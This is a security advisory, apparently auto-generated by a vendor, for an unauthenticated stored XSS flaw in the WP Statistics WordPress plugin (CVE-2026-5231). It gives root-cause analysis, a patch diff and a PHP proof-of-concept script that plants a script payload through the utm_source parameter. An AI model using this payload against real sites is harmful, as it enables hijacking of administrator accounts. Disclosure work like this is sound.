Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 17, 2026

CVE-2026-5231: WP Statistics <= 14.16.4 – Unauthenticated Stored Cross-Site Scripting via 'utm_source' Parameter (wp-statistics)

CVE ID CVE-2026-5231
Plugin wp-statistics
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 14.16.4
Patched Version 14.16.5
Disclosed April 15, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-5231:
This vulnerability is an unauthenticated stored cross-site scripting (XSS) flaw in the WP Statistics WordPress plugin versions up to and including 14.16.4. The vulnerability exists in the plugin’s referral parsing and chart rendering components, allowing attackers to inject arbitrary JavaScript that executes in the WordPress admin area. The CVSS score of 7.2 reflects the high impact of stored XSS in administrative interfaces.

Root Cause:
The vulnerability originates from insufficient input sanitization in the ReferralsParser class. In wp-statistics/src/Service/Analytics/Referrals/ReferralsParser.php, when a wildcard channel domain matches, the raw utm_source parameter value is directly copied into the source_name field without sanitization. Specifically, line 62 previously assigned $channels[$key][‘name’] = $value; without any filtering. This unsanitized value is later inserted into legend markup via innerHTML in the chart renderer without proper output escaping.

Exploitation:
Attackers can exploit this vulnerability by crafting HTTP requests containing malicious JavaScript payloads in the utm_source parameter. When the WP Statistics plugin processes referral data from these requests, the payload is stored in the database. The payload executes whenever an administrator accesses the Referrals Overview or Social Media analytics pages in the WordPress admin area. The attack vector requires no authentication, making it accessible to any remote attacker.

Patch Analysis:
The patch adds sanitization to the vulnerable code path. In ReferralsParser.php line 62, the assignment now reads $channels[$key][‘name’] = sanitize_text_field($value);. This WordPress core function strips out HTML tags and encodes special characters, preventing JavaScript injection. The patch also includes version bump to 14.16.5 and removes unrelated TinyMCE editor code, but the critical fix is the single sanitize_text_field() call that neutralizes XSS payloads.

Impact:
Successful exploitation allows unauthenticated attackers to inject arbitrary JavaScript that executes in the context of WordPress administrators. This can lead to session hijacking, administrative account takeover, website defacement, data theft, and further server-side attacks through administrator actions. The stored nature means the payload persists and affects all administrators who view the affected analytics pages.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-statistics/includes/admin/TinyMCE/class-wp-statistics-tinymce.php
+++ b/wp-statistics/includes/admin/TinyMCE/class-wp-statistics-tinymce.php
@@ -1,153 +0,0 @@
-<?php
-
-namespace WP_STATISTICS;
-
-/**
- * Class WP_Statistics_TinyMCE
- */
-class TinyMCE
-{
-
-    /**
-     * Setup an TinyMCE action to close the notice on the overview page.
-     */
-    public function __construct()
-    {
-
-        // Add Filter TinyMce Editor
-        add_action('admin_head', array($this, 'wp_statistic_add_my_tc_button'));
-
-        // Add TextLang
-        add_action('admin_footer-widgets.php', array($this, 'my_post_edit_page_footer'), 999);
-    }
-
-    /*
-     * Language List Text Domain
-     */
-    static public function lang()
-    {
-        if (!class_exists('_WP_Editors')) {
-            require(ABSPATH . WPINC . '/class-wp-editor.php');
-        }
-
-        $strings = array(
-            'insert'         => __('WP Statistics Shortcodes', 'wp-statistics'),
-            'stat'           => __('Statistics', 'wp-statistics'),
-            'usersonline'    => __('Online Visitors', 'wp-statistics'),
-            'visits'         => __('Views', 'wp-statistics'),
-            'visitors'       => __('Visitors', 'wp-statistics'),
-            'pagevisits'     => __('Number of Page Views', 'wp-statistics'),
-            'pagevisitors'     => __('Number of Page Visitors', 'wp-statistics'),
-            'searches'       => __('Searches', 'wp-statistics'),
-            'postcount'      => __('Total Number of Posts', 'wp-statistics'),
-            'pagecount'      => __('Total Number of Pages', 'wp-statistics'),
-            'commentcount'   => __('Total Number of Comments', 'wp-statistics'),
-            'spamcount'      => __('Total Count of Spam Comments', 'wp-statistics'),
-            'usercount'      => __('Total Number of Users', 'wp-statistics'),
-            'postaverage'    => __('Average Number of Posts', 'wp-statistics'),
-            'commentaverage' => __('Average Number of Comments', 'wp-statistics'),
-            'useraverage'    => __('Average Number of Users', 'wp-statistics'),
-            'lpd'            => __('Date of the Latest Post', 'wp-statistics'),
-            'referrer'       => __('Referrer', 'wp-statistics'),
-            'help_stat'      => __('Choose the Desired Statistics from the Following Options.', 'wp-statistics'),
-            'time'           => __('Time', 'wp-statistics'),
-            'se'             => __('Select item ...', 'wp-statistics'),
-            'today'          => __('Today', 'wp-statistics'),
-            'yesterday'      => __('Yesterday', 'wp-statistics'),
-            'week'           => __('Week', 'wp-statistics'),
-            'month'          => __('Month', 'wp-statistics'),
-            'year'           => __('Year', 'wp-statistics'),
-            'total'          => __('Total', 'wp-statistics'),
-            'help_time'      => __('Select the Time Frame for the Statistics', 'wp-statistics'),
-            'provider'       => __('Provider', 'wp-statistics'),
-            'help_provider'  => __('Select a Search Provider for Detailed Statistics.', 'wp-statistics'),
-            'format'         => __('Display Format', 'wp-statistics'),
-            'help_format'    => __('Choose Number Format: International (i18n), English, or None.', 'wp-statistics'),
-            'id'             => __('ID', 'wp-statistics'),
-            'help_id'        => __('Specify Post/Page ID for Detailed Page Statistics.', 'wp-statistics'),
-        );
-
-        $locale     = _WP_Editors::$mce_locale;
-        $translated = 'tinyMCE.addI18n("' . $locale . '.wp_statistic_tinymce_plugin", ' . wp_json_encode($strings) . ");n";
-
-        return array('locale' => $locale, 'translate' => $translated);
-    }
-
-    /*
-     * Add Filter TinyMCE
-     */
-    public function wp_statistic_add_my_tc_button()
-    {
-        global $typenow;
-
-        // check user permissions
-        if (!current_user_can('edit_posts') && !current_user_can('edit_pages')) {
-            return;
-        }
-
-        // verify the post type
-        if (!in_array($typenow, array('post', 'page'))) {
-            return;
-        }
-
-        // check if WYSIWYG is enabled
-        if (get_user_option('rich_editing') == 'true') {
-            add_filter("mce_external_plugins", array($this, 'wp_statistic_add_tinymce_plugin'));
-            add_filter('mce_buttons', array($this, 'wp_statistic_register_my_tc_button'));
-            add_filter('mce_external_languages', array($this, 'wp_statistic_tinymce_plugin_add_locale'));
-        }
-    }
-
-    /*
-     * Add Js Bottun to Editor
-     */
-    public function wp_statistic_add_tinymce_plugin($plugin_array)
-    {
-        $plugin_array['wp_statistic_tc_button'] = Admin_Assets::url('tinymce.min.js');
-
-        return $plugin_array;
-    }
-
-    /*
-     * Push Button to TinyMCE Advance
-     */
-    public function wp_statistic_register_my_tc_button($buttons)
-    {
-        array_push($buttons, "wp_statistic_tc_button");
-
-        return $buttons;
-    }
-
-    /*
-     * Add Lang Text Domain
-     */
-    public function wp_statistic_tinymce_plugin_add_locale($locales)
-    {
-        $locales ['wp-statistic-tinymce-plugin'] = WP_STATISTICS_DIR . 'includes/admin/TinyMCE/locale.php';
-
-        return $locales;
-    }
-
-    /*
-     * Add Lang for Text Widget
-     */
-    public function my_post_edit_page_footer()
-    {
-        // Fix Avada builder messing up WP hooks
-        if (Helper::get_screen_id() !== 'widgets') {
-            return;
-        }
-
-        echo '
-        <script type="text/javascript">
-        jQuery( document ).on( 'tinymce-editor-setup', function( event, editor ) {
-                editor.settings.toolbar1 += ',wp_statistic_tc_button';
-        });
-        ';
-        $lang = TinyMCE::lang();
-        echo $lang['translate']; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
-        echo 'tinyMCEPreInit.load_ext("' . rtrim(WP_STATISTICS_URL, "/") . '", "' . esc_html($lang['locale']) . '"); </script>'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
-    }
-}
-
-new TinyMCE;
 No newline at end of file
--- a/wp-statistics/includes/admin/TinyMCE/locale.php
+++ b/wp-statistics/includes/admin/TinyMCE/locale.php
@@ -1,15 +0,0 @@
-<?php
-
-if (!defined('ABSPATH')) {
-    exit;
-} // Exit if accessed directly
-
-//Load TinyMCE Plugin translation
-function wp_statistic_tinymce_plugin_translation()
-{
-    $lang       = WP_STATISTICSTinyMCE::lang();
-    $translated = $lang['translate'];
-    return $translated;
-}
-
-$strings = wp_statistic_tinymce_plugin_translation();
 No newline at end of file
--- a/wp-statistics/includes/admin/class-wp-statistics-admin-assets.php
+++ b/wp-statistics/includes/admin/class-wp-statistics-admin-assets.php
@@ -247,11 +247,6 @@
             wp_localize_script(self::$prefix, 'wps_global', self::wps_global($hook));
         }

-        // Load TinyMCE for Widget Page
-        if (in_array($screen_id, array('widgets'))) {
-            wp_enqueue_script(self::$prefix . '-button-widget', self::url('tinymce.min.js'), array('jquery'), "3.2.5", ['in_footer' => true]);
-        }
-
         // Add Thick box
         if (Menus::in_page('visitors') || Menus::in_page('visitors-report') || Menus::in_page('referrals') || Menus::in_page('pages')) {
             wp_enqueue_script('thickbox');
--- a/wp-statistics/includes/admin/pages/class-wp-statistics-admin-page-settings.php
+++ b/wp-statistics/includes/admin/pages/class-wp-statistics-admin-page-settings.php
@@ -168,7 +168,6 @@
             'wps_privacy_audit',
             'wps_store_ua',
             'wps_consent_integration',
-            'wps_consent_level_integration',
             'wps_anonymous_tracking',
             'wps_do_not_track',
             'wps_show_privacy_issues_in_report',
--- a/wp-statistics/includes/admin/templates/settings/privacy.php
+++ b/wp-statistics/includes/admin/templates/settings/privacy.php
@@ -8,28 +8,20 @@
 $isWpConsentApiActive    = IntegrationHelper::getIntegration('wp_consent_api')->isActive();
 $compatiblePlugins       = IntegrationHelper::getIntegration('wp_consent_api')->getCompatiblePlugins();
 $consentIntegration      = Option::get('consent_integration');
-$consentLevelIntegration = Option::get('consent_level_integration');
 ?>

     <script type="text/javascript">
         const toggleConsentIntegration = () => {
             const selectElement = document.getElementById('consent_integration');
-            const consentCategories = document.getElementById('wps-consent-categories');
             const anonymousTracking = document.getElementById('wps-anonymous-tracking');
             const updateVisibility = (element, shouldShow) => {
                 element.classList.toggle('wps-hide', !shouldShow);
             };
             switch (selectElement.value) {
-                case 'wp_consent_api':
-                    updateVisibility(consentCategories, true);
-                    updateVisibility(anonymousTracking, true);
-                    break;
                 case 'borlabs_cookie':
-                    updateVisibility(consentCategories, false);
                     updateVisibility(anonymousTracking, true);
                     break;
                 default:
-                    updateVisibility(consentCategories, false);
                     updateVisibility(anonymousTracking, false);
                     break;
             }
@@ -155,47 +147,6 @@
                 </td>
             </tr>

-            <tr id="wps-consent-categories">
-                <th scope="row">
-                    <label for="consent_level_integration"><?php esc_html_e('Consent Category', 'wp-statistics'); ?></label>
-                </th>
-
-                <td>
-                    <?php
-                    $consentLevels = [
-                        'functional'           => esc_html__('Functional', 'wp-statistics'),
-                        'statistics-anonymous' => esc_html__('Statistics-Anonymous', 'wp-statistics'),
-                        'statistics'           => esc_html__('Statistics', 'wp-statistics'),
-                        'marketing'            => esc_html__('Marketing', 'wp-statistics'),
-                    ];
-                    ?>
-
-                    <select id="consent_level_integration" name="wps_consent_level_integration">
-                        <?php foreach ($consentLevels as $key => $value) : ?>
-                            <option value="<?php echo esc_attr($key) ?>" <?php selected($consentLevelIntegration, $key); ?>><?php echo esc_html($value); ?></option>
-                        <?php endforeach; ?>
-                    </select>
-
-                    <p class="description"><?php esc_html_e("When using WP Consent API, select the consent category that WP Statistics should track. Only visitors who have consented to the selected category will be tracked.", 'wp-statistics'); ?></p>
-
-                    <?php if (WP_STATISTICSOption::get('privacy_audit', false)) : ?>
-                        <p class="description">
-                            <?php echo sprintf(
-                            // translators: %s: Consent option.
-                                __('Recommended Category: <b>%s</b>', 'wp-statistics'),
-                                WP_StatisticsServiceAdminPrivacyAuditFaqsRequireConsent::getStatus() === 'success' ? esc_html__('Functional or Statistics-Anonymous', 'wp-statistics') : esc_html__('Statistics', 'wp-statistics')
-                            ); ?>
-                        </p>
-                    <?php endif; ?>
-
-                    <p class="description">
-                        <?php _e('More Information: Learn more about configuring WP Consent API and the available categories in our <a target="_blank" href="https://wp-statistics.com/resources/wp-consent-level-integration/?utm_source=wp-statistics&utm_medium=link&utm_campaign=settings">WP Consent API documentation</a>.', 'wp-statistics'); ?>
-                        <br/>
-                        <?php esc_html_e('Note: Selecting the correct category ensures compliance with privacy laws and demonstrates respect for user preferences.', 'wp-statistics'); ?>
-                    </p>
-                </td>
-            </tr>
-
             <tr id="wps-anonymous-tracking">
                 <th scope="row">
                     <span class="wps-setting-label"><?php _e('Anonymous Tracking', 'wp-statistics'); ?></span>
--- a/wp-statistics/includes/class-wp-statistics-exclusion.php
+++ b/wp-statistics/includes/class-wp-statistics-exclusion.php
@@ -198,6 +198,10 @@
      */
     public static function exclusion_user_role()
     {
+        if (empty(self::$options)) {
+            self::$options = Option::getOptions();
+        }
+
         $current_user = false;

         if (Helper::is_rest_request() && isset($GLOBALS['wp_statistics_user_id'])) {
--- a/wp-statistics/includes/class-wp-statistics-frontend.php
+++ b/wp-statistics/includes/class-wp-statistics-frontend.php
@@ -67,9 +67,7 @@

                     // legacy params for backward compatibility
                     'userOnline'           => false,
-                    'trackAnonymously'     => IntegrationHelper::shouldTrackAnonymously(),
                     'isWpConsentApiActive' => IntegrationHelper::isIntegrationActive('wp_consent_api'),
-                    'consentLevel'         => Option::get('consent_level_integration', 'functional'),
                 ],
                 'isLegacyEventLoaded'   => Assets::isScriptEnqueued('event'), // Check if the legacy event.js script is already loaded
                 'customEventAjaxUrl'    => add_query_arg(['action' => 'wp_statistics_custom_event', 'nonce' => wp_create_nonce('wp_statistics_custom_event')], admin_url('admin-ajax.php')),
--- a/wp-statistics/includes/class-wp-statistics-option.php
+++ b/wp-statistics/includes/class-wp-statistics-option.php
@@ -59,7 +59,6 @@
             'update_geoip'                    => true,
             'privacy_audit'                   => true,
             'store_ua'                        => false,
-            'consent_level_integration'       => 'functional',
             'anonymous_tracking'              => false,
             'do_not_track'                    => false,
             'exclude_administrator'           => true,
--- a/wp-statistics/includes/class-wp-statistics.php
+++ b/wp-statistics/includes/class-wp-statistics.php
@@ -192,7 +192,6 @@
             require_once WP_STATISTICS_DIR . 'includes/admin/class-wp-statistics-admin-assets.php';
             require_once WP_STATISTICS_DIR . 'includes/admin/class-wp-statistics-admin-user.php';
             require_once WP_STATISTICS_DIR . 'includes/admin/class-wp-statistics-admin-privacy.php';
-            require_once WP_STATISTICS_DIR . 'includes/admin/TinyMCE/class-wp-statistics-tinymce.php';

             // Admin Pages List
             require_once WP_STATISTICS_DIR . 'includes/admin/pages/class-wp-statistics-admin-page-settings.php';
--- a/wp-statistics/src/Core/Operations/Updater.php
+++ b/wp-statistics/src/Core/Operations/Updater.php
@@ -307,22 +307,13 @@
          * Update consent integration to WP Consent API for backward compatibility
          */
         $integration          = Option::get('consent_integration');
-        $consentLevel         = Option::get('consent_level_integration', 'functional');
         $isWpConsentApiActive = IntegrationHelper::getIntegration('wp_consent_api')->isActive();

-        if ($isWpConsentApiActive && empty($integration) && $consentLevel !== 'disabled') {
+        if ($isWpConsentApiActive && empty($integration)) {
             Option::update('consent_integration', 'wp_consent_api');
         }

         /**
-         * Unset consent integration if consent level is disabled
-         */
-        if ($integration === 'wp_consent_api' && $consentLevel === 'disabled') {
-            Option::update('consent_integration', '');
-            Option::update('consent_level_integration', 'functional');
-        }
-
-        /**
          * Removes duplicate entries from the visitor_relationships table.
          *
          * @version 14.4
--- a/wp-statistics/src/Service/Admin/NoticeHandler/GeneralNotices.php
+++ b/wp-statistics/src/Service/Admin/NoticeHandler/GeneralNotices.php
@@ -100,6 +100,19 @@
         // Return if no cache plugin is active
         if (empty($cacheInfo['status'])) return;

+        // Page-only caches (and bare WP_CACHE) don't touch static JS, so the
+        // tracker.js exclusion warning is a false positive for them.
+        $pageOnlyCachePlugins = [
+            'WP Super Cache',
+            'Comet Cache',
+            'Cache Enabler',
+            'WordPress Object Cache',
+        ];
+
+        if (in_array($cacheInfo['debug'], $pageOnlyCachePlugins, true)) {
+            return;
+        }
+
         // Generate notice id
         $noticeId = sanitize_key($cacheInfo['debug']) . '_cache_plugin_detected';

--- a/wp-statistics/src/Service/Admin/SiteHealthInfo.php
+++ b/wp-statistics/src/Service/Admin/SiteHealthInfo.php
@@ -321,15 +321,7 @@
             'debug' => !empty($consentIntegration) ? $consentIntegration : 'None',
         ];

-        if ($consentIntegration === 'wp_consent_api') {
-            $settings['wpConsentLevelIntegration'] = [
-                'label' => esc_html__('WP Consent Level Integration', 'wp-statistics'),
-                'value' => Option::get('consent_level_integration'),
-                'debug' => Option::get('consent_level_integration')
-            ];
-        }
-
-        if (in_array($consentIntegration, ['wp_consent_api', 'borlabs_cookie'])) {
+        if ($consentIntegration === 'borlabs_cookie') {
             $settings['anonymousTracking'] = [
                 'label' => esc_html__('Anonymous Tracking', 'wp-statistics'),
                 'value' => Option::get('anonymous_tracking') ? __('Enabled', 'wp-statistics') : __('Disabled', 'wp-statistics'),
--- a/wp-statistics/src/Service/Analytics/Referrals/ReferralsParser.php
+++ b/wp-statistics/src/Service/Analytics/Referrals/ReferralsParser.php
@@ -59,7 +59,7 @@

                                 // Set the source name if the domain is wildcard
                                 if ($channelDomain == '*') {
-                                    $channels[$key]['name'] = $value;
+                                    $channels[$key]['name'] = sanitize_text_field($value);
                                 }
                             }

--- a/wp-statistics/src/Service/CustomEvent/CustomEventActions.php
+++ b/wp-statistics/src/Service/CustomEvent/CustomEventActions.php
@@ -27,6 +27,8 @@
                 throw new Exception(esc_html__('Access denied.', 'wp-statistics-marketing'));
             }

+            $GLOBALS['wp_statistics_user_id'] = get_current_user_id();
+
             $visitorProfile = new VisitorProfile();

             $exclusion = Exclusion::check($visitorProfile);
--- a/wp-statistics/src/Service/Integrations/Plugins/AbstractIntegration.php
+++ b/wp-statistics/src/Service/Integrations/Plugins/AbstractIntegration.php
@@ -2,8 +2,6 @@

 namespace WP_StatisticsServiceIntegrationsPlugins;

-use WP_STATISTICSOption;
-
 abstract class AbstractIntegration
 {
     protected $key;
@@ -63,8 +61,7 @@
     public function getStatus()
     {
         return [
-            'has_consent'       => $this->hasConsent(),
-            'track_anonymously' => $this->trackAnonymously()
+            'has_consent' => $this->hasConsent(),
         ];
     }

@@ -74,7 +71,7 @@
      */
     public function trackAnonymously()
     {
-        return Option::get('anonymous_tracking', false) != false;
+        return false;
     }

     /**
--- a/wp-statistics/src/Service/Integrations/Plugins/BorlabsCookie.php
+++ b/wp-statistics/src/Service/Integrations/Plugins/BorlabsCookie.php
@@ -87,6 +87,15 @@
     }

     /**
+     * If returns true, the user data will be collected anonymously
+     * @return bool
+     */
+    public function trackAnonymously()
+    {
+        return Option::get('anonymous_tracking', false) != false;
+    }
+
+    /**
      * Return an array of js handles for this integration.
      * The result will be used as dependencies for the tracker js file
      *
--- a/wp-statistics/src/Service/Integrations/Plugins/WpConsentApi.php
+++ b/wp-statistics/src/Service/Integrations/Plugins/WpConsentApi.php
@@ -26,7 +26,7 @@
      */
     public function showNotice()
     {
-        return $this->isActive() && (empty($this->getCompatiblePlugins()) || $this->getConsentLevel() === 'disabled');
+        return $this->isActive() && empty($this->getCompatiblePlugins());
     }

     /**
@@ -39,25 +39,22 @@
         return esc_html__('WP Consent API', 'wp-statistics');
     }

-    /**
-     * Return the consent level required for the integration to work.
-     *
-     * @return  string  The consent level
-     */
-    public function getConsentLevel()
-    {
-        return Option::get('consent_level_integration', 'functional');
-    }
-
     public function hasConsent()
     {
         if (!function_exists('wp_has_consent')) {
             return true;
         }

-        $consentLevel = $this->getConsentLevel();
+        return wp_has_consent('statistics') || wp_has_consent('statistics-anonymous');
+    }
+
+    public function trackAnonymously()
+    {
+        if (!function_exists('wp_has_consent')) {
+            return false;
+        }

-        return wp_has_consent($consentLevel);
+        return wp_has_consent('statistics-anonymous') && !wp_has_consent('statistics');
     }

     /**
@@ -89,9 +86,7 @@
     public function getStatus()
     {
         return [
-            'has_consent'       => $this->hasConsent(),
-            'consent_level'     => $this->getConsentLevel(),
-            'track_anonymously' => $this->trackAnonymously()
+            'has_consent' => $this->hasConsent(),
         ];
     }

--- a/wp-statistics/views/pages/tracker-debugger/tracker-debugger.php
+++ b/wp-statistics/views/pages/tracker-debugger/tracker-debugger.php
@@ -124,21 +124,21 @@
                     <path fill-rule="evenodd" clip-rule="evenodd" d="M11.8689 2.13321C11.5449 2 11.1341 2 10.3125 2C9.49087 2 9.08006 2 8.75605 2.13321C8.32397 2.31083 7.9807 2.65151 7.80174 3.0803C7.72004 3.27605 7.68807 3.50369 7.67555 3.83574C7.65717 4.32372 7.40501 4.7754 6.9789 5.01956C6.55278 5.26372 6.03256 5.2546 5.59755 5.02641C5.30153 4.87114 5.0869 4.78479 4.87524 4.75714C4.41158 4.69656 3.94266 4.82125 3.57164 5.1038C3.29337 5.31571 3.08796 5.66879 2.67716 6.37494C2.26636 7.0811 2.06096 7.43417 2.01518 7.7793C1.95413 8.23945 2.07978 8.70483 2.36448 9.07306C2.49443 9.24115 2.67705 9.38237 2.96049 9.55912C3.37717 9.819 3.64528 10.2617 3.64525 10.75C3.64523 11.2383 3.37713 11.6809 2.96049 11.9407C2.677 12.1175 2.49435 12.2589 2.36439 12.4269C2.07969 12.7951 1.95405 13.2605 2.01509 13.7206C2.06087 14.0657 2.26628 14.4189 2.67707 15.125C3.08788 15.8311 3.29328 16.1843 3.57155 16.3961C3.94257 16.6786 4.41149 16.8033 4.87515 16.7428C5.08681 16.7151 5.30142 16.6288 5.59741 16.4736C6.03245 16.2454 6.55271 16.2362 6.97885 16.4804C7.40499 16.7246 7.65716 17.1763 7.67555 17.6643C7.68807 17.9963 7.72004 18.224 7.80174 18.4197C7.9807 18.8485 8.32397 19.1892 8.75605 19.3668C9.08006 19.5 9.49087 19.5 10.3125 19.5C11.1341 19.5 11.5449 19.5 11.8689 19.3668C12.301 19.1892 12.6443 18.8485 12.8232 18.4197C12.9049 18.224 12.937 17.9963 12.9495 17.6643C12.9679 17.1763 13.2199 16.7246 13.6461 16.4804C14.0722 16.2362 14.5925 16.2454 15.0275 16.4736C15.3235 16.6288 15.5381 16.7151 15.7497 16.7427C16.2134 16.8033 16.6823 16.6786 17.0533 16.3961C17.3317 16.1842 17.537 15.8311 17.9478 15.1249C18.3586 14.4188 18.564 14.0657 18.6099 13.7206C18.6708 13.2605 18.5452 12.795 18.2606 12.4269C18.1305 12.2588 17.9479 12.1174 17.6644 11.9407C17.2478 11.6809 16.9797 11.2382 16.9797 10.7499C16.9797 10.2616 17.2478 9.81909 17.6644 9.5593C17.948 9.38246 18.1306 9.24124 18.2606 9.07306C18.5453 8.70489 18.6709 8.23951 18.6099 7.77935C18.5641 7.43423 18.3587 7.08115 17.9479 6.375C17.5371 5.66885 17.3317 5.31577 17.0534 5.10386C16.6824 4.82131 16.2135 4.69662 15.7498 4.7572C15.5382 4.78485 15.3235 4.87119 15.0276 5.02645C14.5926 5.25464 14.0723 5.26377 13.6462 5.01959C13.22 4.77542 12.9679 4.3237 12.9494 3.8357C12.9369 3.50367 12.9049 3.27604 12.8232 3.0803C12.6443 2.65151 12.301 2.31083 11.8689 2.13321ZM10.3125 13.375C11.7733 13.375 12.9574 12.1998 12.9574 10.75C12.9574 9.30021 11.7733 8.125 10.3125 8.125C8.85169 8.125 7.66751 9.30021 7.66751 10.75C7.66751 12.1998 8.85169 13.375 10.3125 13.375Z" fill="#019939"/>
                     </svg>';

+                $consentIntegration = $options->getOption('consent_integration');
+
                 $atData = [
                     'svg'         => $atIcon,
                     'title'       => __('Consent Plugin Integration is Active', 'wp-statistics'),
                     'description' => esc_html__('Visitors must give consent before tracker.js runs.', 'wp-statistics'),
                     'content'     => sprintf('<div class="wps-mb-16 wps-debugger-desc">%1$s</div>%2$s', esc_html__('Visitors must give consent before tracker.js runs.', 'wp-statistics'), esc_html__('Tracker.js will not run until visitors provide consent. This may result in up to 50% of visitors not being tracked.', 'wp-statistics')),
                     'suggestion'  => sprintf(
-                        __('Consider enabling "Anonymous Tracking" to track all visitors anonymously. Learn more in our <a target="_blank" href="%s">Consent Integration guide</a>.', 'wp-statistics'),
+                        __('Learn more in our <a target="_blank" href="%s">Consent Integration guide</a>.', 'wp-statistics'),
                         esc_url(WP_STATISTICS_SITE_URL . '/resources/wp-consent-level-integration/?utm_source=wp-statistics&utm_medium=link&utm_campaign=tracker-debugger')
                     ),
                     'status'      => 'info'
                 ];

-                $consentIntegration = $options->getOption('consent_integration');
-
-                if (empty($options->getOption('anonymous_tracking', false)) && empty($consentIntegration)) {
+                if (empty($consentIntegration)) {
                     $atData = [
                         'svg'         => $atIcon,
                         'title'       => __('Consent Management is Disabled', 'wp-statistics'),
@@ -147,16 +147,6 @@
                         'status'      => 'success'
                     ];
                 }
-
-                if (!empty($options->getOption('anonymous_tracking', false))) {
-                    $atData = [
-                        'svg'         => $atIcon,
-                        'title'       => __('Anonymous Tracking is Enabled', 'wp-statistics'),
-                        'description' => '',
-                        'content'     => __('All visitors will be tracked anonymously, even without explicit consent, ensuring privacy compliance while collecting essential data.', 'wp-statistics'),
-                        'status'      => 'success'
-                    ];
-                }

                 View::load("components/audit-card", $atData);
                 ?>
--- a/wp-statistics/wp-statistics.php
+++ b/wp-statistics/wp-statistics.php
@@ -4,7 +4,7 @@
  * Plugin URI: https://wp-statistics.com/
  * GitHub Plugin URI: https://github.com/wp-statistics/wp-statistics
  * Description: Get website traffic insights with GDPR/CCPA compliant, privacy-friendly analytics. Includes visitor data, stunning graphs, and no data sharing.
- * Version: 14.16.4
+ * Version: 14.16.5
  * Author: VeronaLabs
  * Author URI: https://veronalabs.com/
  * Text Domain: wp-statistics
@@ -22,7 +22,7 @@
 require_once __DIR__ . '/includes/defines.php';

 # Set another useful plugin define.
-define('WP_STATISTICS_VERSION', '14.16.4');
+define('WP_STATISTICS_VERSION', '14.16.5');

 # Load Plugin
 if (!class_exists('WP_Statistics')) {

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-5231 - WP Statistics <= 14.16.4 - Unauthenticated Stored Cross-Site Scripting via 'utm_source' Parameter

<?php

$target_url = "https://vulnerable-wordpress-site.com/"; // Change this to target URL

// Malicious payload that will execute when admin views referrals page
$payload = '"><script>alert("XSS via CVE-2026-5231");</script>';

// Craft referral URL with malicious utm_source parameter
$referral_url = $target_url . "?utm_source=" . urlencode($payload) . "&utm_medium=social&utm_campaign=test";

// Initialize cURL session
$ch = curl_init();

// Set cURL options
curl_setopt($ch, CURLOPT_URL, $referral_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');

// Execute the request to trigger referral tracking
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check if request was successful
if ($http_code >= 200 && $http_code < 300) {
    echo "[+] Payload delivered successfully to $target_urln";
    echo "[+] The XSS payload will execute when an administrator visits:n";
    echo "    - WP Statistics > Analytics > Referrals Overviewn";
    echo "    - WP Statistics > Analytics > Social Median";
    echo "[+] Payload: $payloadn";
} else {
    echo "[-] Failed to deliver payload. HTTP Code: $http_coden";
}

// Close cURL session
curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School